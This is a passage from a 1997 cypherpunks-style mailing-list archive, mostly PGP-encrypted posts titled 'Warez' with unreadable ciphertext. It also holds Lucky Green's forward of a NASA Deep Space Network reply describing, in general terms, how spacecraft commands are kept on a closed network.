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
=bM52
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:09:44 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:09:44 +0800
Subject: Warez 4
Message-ID: <199712180758.XAA15704@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

qANQR1DDBAQDAAHJwC8/GvFTdfhZ5WZrS4pCXRrDVbD7YEgqoiD+3UHU1rN3B5e3
rXeMbhM8m2bTrjjBWXT1wZdnAJUWgsukQ+8OzMwwmRx0shQSAxAHjpYadRNJxmea
92ytm7XzZa1jtv3hnjCyIFRWvh48MRIpx+laBumZo+FxSUtEewfEPlcX3k67tWAl
b+XnD5Jz7nHwCJyi/MMBhChXhnR85Nu3fWyUOpWqq/U5WN8yHP3IJAMKWcJK8LgI
6vhj8iempI1XunKbz2meKLIAvFQkAPT3ui6JS7J0jKpLG4/najVkUOZKA09Qbw3+
1/cbBxbMxhvxnz1btw==
=BFc8
-----END PGP MESSAGE-----




From shamrock at netcom.com  Thu Dec 18 00:10:38 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 18 Dec 1997 16:10:38 +0800
Subject: DSN authentication? (fwd)
Message-ID: 



Some of you may remember my post to the list a while back wondering 
which, if any, authentication is taking place on commands sent to space 
crafts such as the Mars Rover. Well, here is the official answer: "We use 
a private network and keep the protocol specs secret, therefore we don't 
have to worry about a thing".


-- Lucky Green  PGP encrypted mail preferred

---------- Forwarded message ----------
Date: Wed, 17 Dec 1997 12:14:35 -0800 (PST)
From: Public Info 
To: Lucky Green 
Subject: Re: DSN authentication?

Dear Mr. Green:
I now have a response to your questions of authentication from one of our
Deep Space Network Operations Managers, as follows:

The commanding of any spacecraft is performed via a closed and secured
network not accessed by the internet or the public. Direct connections
provided by NASCOM connect the DSN sites to the project operations centers.
There is no other branches nor interconnections available outside this
circuit. Each project center determines the bit structure of each command
sent, and not even the DSN sites that transmit the commands are aware of
the format, protocols, etc. Command data is not stored at the sites to
avoid sending commands inadvertently to the spacecraft. As a matter of
fact, DSN policy is not to accept responsibility for manually sending
commands even in case of a disaster. And, even within this closed circuit,
command data is given the highest priority and treated as sensitive data
and the command subsystems receiving and transmitting this data have been
classified with the with the highest NASA security level.

I hope this answers your question.  Thank you for your interest.

DSN Outreach Office









>What authentication methods are employed to authenticate commands sent via
>the DSN to space crafts and landers such as the Mars Lander? Please be
>specific. Algorithm names, key lenghts, protocol specs, etc.
>
>
>
>-- Lucky Green  PGP encrypted mail preferred
>
>   "I do believe that where there is a choice only between cowardice and
>    violence, I would advise violence." Mahatma Gandhi









From hg-p at dev.null  Thu Dec 18 00:13:51 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:13:51 +0800
Subject: Warez 5
Message-ID: <199712180803.AAA15801@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
